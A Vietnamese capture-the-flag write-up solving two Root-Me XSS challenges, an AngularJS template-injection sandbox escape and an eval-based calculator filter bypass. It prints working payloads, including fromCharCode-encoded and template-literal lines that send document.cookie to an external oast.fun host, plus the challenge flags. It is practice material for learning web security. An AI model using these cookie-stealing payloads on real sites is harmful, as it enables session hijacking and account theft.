**Bài 1: XSS DOM-Based AngularJS:**

Mục tiêu của bài này là lấy được cookie của nhà quản trị.

Có 2 input chúng ta kiểm soát được là Main(name) và contact (url).

GET /?name=1

Đây là đoạn script của main.

<script>

var name = '1';

var encoded = '';

for(let i = 0; i < name.length; i++) {

encoded += name[i] ^ Math.floor(Math.random() \* name.length);

}

encoded = Math.abs(encoded ^ Math.floor(Math.random() \* name.length));

document.getElementById('name\_encoded').innerText += ' ' + encoded;

</script>

Mình thử payload sau: 1'-alert(1)-' 🡪 var name = '1-alert(1)-';

Dấu ' đã bị máy chủ stripped, không đóng chuỗi được.

{{constructor.constructor('alert(1)')()}}

🡪 var name = '{{constructor.constructor(alert(1))()}}'; => Không thực thi lệnh được

May sao mình tìm được payload không cần dùng dấu nháy đơn

{{x=valueOf.name.constructor.fromCharCode;constructor.constructor(x(97,108,101,114,116,40,49,41))()}} 🡪 Thực thi được Javascript

Làm sao để lấy được cookie??

{{constructor.constructor('Javascript code')()}}

🡪document.location=”trang-web-ban-kiem-soat/?c=”+document.cookie

Payload:

{{x=valueOf.name.constructor.fromCharCode;constructor.constructor(x(100,111,99,117,109,101,110,116,46,108,111,99,97,116,105,111,110,61,34,104,116,116,112,58,47,47,99,101,54,112,104,110,101,50,118,116,99,48,48,48,48,52,115,112,113,48,103,56,100,109,101,52,119,121,121,121,121,121,98,46,111,97,115,116,46,102,117,110,47,63,99,61,34,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101))()}}

100,111,99,117,109,101,110,116,46,108,111,99,97,116,105,111,110,61,34,104,116,116,112,58,47,47,99,101,54,112,104,110,101,50,118,116,99,48,48,48,48,52,115,112,113,48,103,56,100,109,101,52,119,121,121,121,121,121,98,46,111,97,115,116,46,102,117,110,47,63,99,61,34,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101

🡪document.location="http://ce6phne2vtc00004spq0g8dme4wyyyyyb.oast.fun/?c="+document.cookie

Gửi url cho nhà quản trị, và nhận flag thôi ☺

flag=rootme{@NGu1@R\_J$\_1$\_C001}

**Bài 2: XSS Dom Based Eval:**

Mục tiêu là lấy được cookie của nhà quản trị.

Giống mấy bài trước, lỗi XSS ở phần Main (nơi có script)

<script>

var result = eval(1\*2);

document.getElementById('state').innerText = '1\*2 = ' + result;

</script>

Mình thử alert(1) 🡪 These caracteres: () are forbidden because some evil people tried to exploit my website :'(

alert`1` 🡪Your calculation has not the good format, it must valid the regex /^\d+[\+|\-|\\*|\/]\d+/

^\d+: bắt đầu bằng kí tự số

[\+|\-|\\*|\/]\d+: tiếp theo là phép toán +,-,\*,/ và kết thúc là kí tự số

Để thực thi được script, mình đã dùng payload sau:

1+1-alert`1` 🡪Perfect

Làm sao để lấy cookie đây?

Payload:

1+1-location.assign`http://ce6phne2vtc00004spq0g8dme4wyyyyyb.oast.fun/?c=

${document.cookie}`

Nó đã chuyển hướng được nhưng không lấy được cookie.

Bài này cho phép mình chèn template Javascript: `${//Javascript code}`

Payload:

1+1-`${document.location="http://ce6phne2vtc00004spq0g8dme4wyyyyyb.oast.fun/"

+document.cookie}`

Cách này dễ hơn nhiều ☺

**flag=rootme{Eval\_Is\_DangER0us}**